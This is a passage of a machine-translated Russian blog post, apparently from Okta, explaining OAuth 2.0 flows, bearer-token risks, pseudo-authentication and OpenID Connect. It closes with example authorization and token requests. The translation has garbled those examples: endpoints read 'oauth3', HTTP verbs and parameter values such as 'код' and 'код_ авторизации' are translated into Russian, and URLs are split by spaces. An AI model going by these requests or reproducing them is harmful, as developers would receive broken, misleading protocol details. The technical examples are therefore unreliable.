Отсутствует в спецификации OAuth, это Device Flow . Нет веб-браузера, только контроллер для чего-то вроде телевизора. Код пользователя возвращается из запроса авторизации, который необходимо активировать, посетив URL-адрес на устройстве с браузером для авторизации. Поток обратного канала используется клиентским приложением для опроса на предмет утверждения авторизации для токена доступа и, при необходимости, токена обновления. Он также популярен среди клиентов CLI.

Мы рассмотрели шесть различных потоков с использованием разных участников и типов токенов.Они необходимы из-за возможностей клиентов, из-за того, как нам нужно было получить согласие от клиента, который дает согласие, а это добавляет много сложностей в OAuth.

Когда люди спрашивают, поддерживаете ли вы OAuth, вы должны пояснить, о чем они просят. Они спрашивают, поддерживаете ли вы все шесть потоков или только основные? Между всеми различными потоками существует большая степень детализации.

Безопасность и предприятие

OAuth имеет большую площадь.Благодаря неявному потоку существует множество перенаправлений и много места для ошибок. Многие люди пытались использовать OAuth между приложениями, и это легко сделать, если не следовать рекомендованным правилам Web Security 101. Например:

• Всегда используйте токены CSRF с параметром state для обеспечения целостности потока.
• Всегда вносить URI перенаправления в белый список, чтобы гарантировать правильность проверки URI.
• Привяжите одного и того же клиента к разрешениям на авторизацию и запросам токенов с идентификатором клиента.
• Для конфиденциальных клиентов, убедитесь, что секреты клиентов не разглашаются. Не храните секреты клиента в своем приложении, которое распространяется через App Store!

Самая большая жалоба на OAuth в целом исходит от специалистов по безопасности. Речь идет о токенах на предъявителя и о том, что они могут передаваться так же, как файлы cookie сеанса. Вы можете передать его, и все готово, он криптографически не привязан к пользователю. Использование JWT помогает, потому что их невозможно изменить. Однако, в конце концов, JWT — это просто строка символов, поэтому их можно легко скопировать и использовать в заголовке Authorization .

Примеры использования Enterprise OAuth 2.0

OAuth отделяет ваши решения по политике авторизации от аутентификации. Это позволяет правильно сочетать мелкую и крупнозернистую авторизацию. Он может заменить традиционные политики управления веб-доступом (WAM). Он также отлично подходит для ограничения и отмены разрешений при создании приложений, которые могут обращаться к определенным API. Это гарантирует, что только управляемые и / или совместимые устройства могут получить доступ к определенным API. Он имеет глубокую интеграцию с рабочими процессами деинициализации удостоверений для отзыва всех токенов у пользователя или устройства.Наконец, он поддерживает федерацию с поставщиком удостоверений.

OAuth не является протоколом аутентификации

Подведем итог некоторым ошибочным представлениям об OAuth 2.0: он не имеет обратной совместимости с OAuth 1.0. Он заменяет подписи на HTTPS для всех коммуникаций. Когда сегодня говорят об OAuth, они имеют в виду OAuth 2.0.

Поскольку OAuth — это структура авторизации, а не протокол, у вас могут возникнуть проблемы с совместимостью. Существует множество вариантов реализации OAuth в группах, и вам может потребоваться специальный код для интеграции с поставщиками.

OAuth 2.0 не является протоколом аутентификации. Об этом даже говорится в документации.

Мы все время говорили о делегированной авторизации. Дело не в аутентификации пользователя, и это ключевой момент. Сам по себе OAuth 2.0 абсолютно ничего не говорит о пользователе. У вас просто есть токен для доступа к ресурсу.

За последние несколько лет в OAuth произошло огромное количество дополнений. Они снова усложняют OAuth для выполнения различных корпоративных сценариев.Например, JWT можно использовать в качестве взаимодействующих токенов, которые можно подписать и зашифровать.

Псевдо-аутентификация с помощью OAuth 2.0

Вход с помощью OAuth стал известен благодаря Facebook Connect и Twitter. В этом потоке клиент обращается к конечной точке / me с токеном доступа. Все, что он говорит, это то, что у клиента есть доступ к ресурсу с токеном. Люди изобрели эту фальшивую конечную точку как способ вернуть профиль пользователя с токеном доступа. Это нестандартный способ получить информацию о пользователе.В стандартах нет ничего, что говорило бы, что каждый должен реализовать эту конечную точку. Маркеры доступа должны быть непрозрачными. Они предназначены для API и не предназначены для хранения пользовательской информации.

То, что вы действительно пытаетесь ответить с помощью аутентификации, — это , кто является пользователем, , когда аутентифицировал пользователя, и , как аутентифицировал пользователя. Обычно вы можете ответить на эти вопросы с помощью утверждений SAML, а не с помощью маркеров доступа и грантов авторизации.Вот почему мы называем это псевдо-аутентификацией.

Введите OpenID Connect

Чтобы решить проблему псевдо-аутентификации, лучшие части OAuth 2.0, Facebook Connect и SAML 2.0 были объединены для создания OpenID Connect. OpenID Connect (OIDC) расширяет OAuth 2.0 новым подписанным идентификатором id_token для клиента и конечной точкой UserInfo для получения атрибутов пользователя. В отличие от SAML, OIDC предоставляет стандартный набор областей и требований для идентификаторов. Примеры: профиль , электронная почта , адрес и телефон .

OIDC был создан для масштабирования в Интернете, делая вещи полностью динамическими. Больше не нужно скачивать метаданные и федерацию, как того требует SAML. Есть встроенная регистрация, обнаружение и метаданные для динамических федераций. Вы можете ввести свой адрес электронной почты, затем он динамически обнаруживает вашего поставщика OIDC, динамически загружает метаданные, динамически знает, какие сертификаты он собирается использовать, и разрешает BYOI (Bring Your Own Identity). Он поддерживает высокий уровень гарантии и ключевые сценарии использования SAML для предприятий.

OIDC прославили Google и Microsoft, которые первыми начали его внедрять. Okta также вложила большие средства в OIDC.

Все, что изменилось в первоначальном запросе, — это то, что он содержит стандартные области (например, openid и электронная почта ):

Запрос	ПОЛУЧИТЬ https://accounts.google.com/o/oauth3/auth? scope = адрес электронной почты openid & redirect_uri = https: //app.example.com/oauth3/callback& response_type = код & client_id = 812741506391 & состояние = af0ifjsldkj
Ответ	HTTP / 1.1 302 Найдено Расположение: https://app.example.com/oauth3/callback? code = MsCeLvIaQm6bTrgtp7 & state = af0ifjsldkj Возвращенный код — это разрешение на авторизацию, а состояние - , чтобы гарантировать, что он не подделан и не получен из того же запроса.

И разрешение на авторизацию для ответа токенов содержит токен ID.

Запрос	POST / oauth3 / v3 / токен HTTP / 1.1 Хост: www.googleapis.com Тип содержимого: application / x-www-form-urlencoded code = MsCeLvIaQm6bTrgtp7 & client_id = 812741506391 & client_secret = {client_secret} & redirect_uri = https: //app.example.com/oauth3/callback& grant_type = код_ авторизации
Ответ	{ "access_token": "2YotnFZFEjr1zCsicMWpAA", "token_type": "На предъявителя", "expires_in": 3600, "refresh_token": "tGzv3JOkF0XG5Qx2TlKWIA", «id_token»: «eyJhbGciOiJSUzI1NiIsImtpZCI6IjFlOWdkazcifQ... " }

Вы можете видеть, что это красиво наложено поверх OAuth, чтобы вернуть токен ID в виде структурированного токена. Маркер идентификатора — это веб-токен JSON (JWT). JWT (он же «jot») намного меньше гигантского утверждения SAML на основе XML и может эффективно передаваться между различными устройствами. JWT состоит из трех частей: заголовка, тела и подписи. В заголовке указано, какой алгоритм был использован для его подписания, претензии находятся в теле, а его подписано в подписи.

Поток Open ID Connect включает следующие шаги:

1. Обнаружить метаданные OIDC.
2. Выполните поток OAuth, чтобы получить токен идентификатора и токен доступа.
3. Получите ключи подписи JWT и, при необходимости, динамически зарегистрируйте клиентское приложение.
4. Проверить токен JWT ID локально на основе встроенных дат и подписей.
5. Получите дополнительные атрибуты пользователя по мере необходимости с помощью токена доступа.

OAuth + Okta

Okta наиболее известна своими службами единой регистрации, которые позволяют беспрепятственно проходить аутентификацию в приложениях, которые вы используете ежедневно.Но знаете ли вы, что у Okta есть отличная платформа для разработчиков? Безопасный единый вход часто использует SAML в качестве предпочтительного протокола, но Okta также предоставляет несколько других вариантов, включая виджет входа, Auth SDK (библиотека на основе JavaScript), вход через социальные сети и API аутентификации для любого клиента. Если вы хотите узнать об Okta прямо из первоисточника, вам следует посетить Oktane17 в конце августа. Есть трек, посвященный разработке приложений.

См. OIDC / OAuth 2.0 API Okta для получения конкретной информации о том, как мы поддерживаем OAuth.

SAML внедряется Okta с ее модулями SSO. Если вы, как и я, являетесь клиентом Okta, вы, вероятно, взаимодействуете с большинством приложений, используя что-то вроде https://okta.okta.com/app/UserHome. Когда вы нажимаете на чиклет, мы отправляем сообщение, мы подписываем утверждение, внутри утверждения указывается, кто является пользователем и что оно пришло из Okta. Поставьте на него цифровую подпись, и все готово.

Если вы предпочитаете посмотреть видео, чтобы узнать о OAuth, посмотрите презентацию Карла МакГиннесса, старшего директора по идентификации в Okta, ниже.

Сводка

OAuth 2.0 — это среда авторизации для делегированного доступа к API. Он включает клиентов, которые запрашивают области, на которые Владельцы ресурсов разрешают / дают согласие. Гранты авторизации обмениваются на токены доступа и токены обновления (в зависимости от потока). Существует несколько потоков для решения различных сценариев клиента и авторизации. JWT могут использоваться для структурированных токенов между серверами авторизации и серверами ресурсов.

OAuth имеет очень большую площадь защиты.Обязательно используйте безопасный инструментарий и проверьте все введенные данные!

OAuth не является протоколом аутентификации. OpenID Connect расширяет OAuth 2.

No related posts.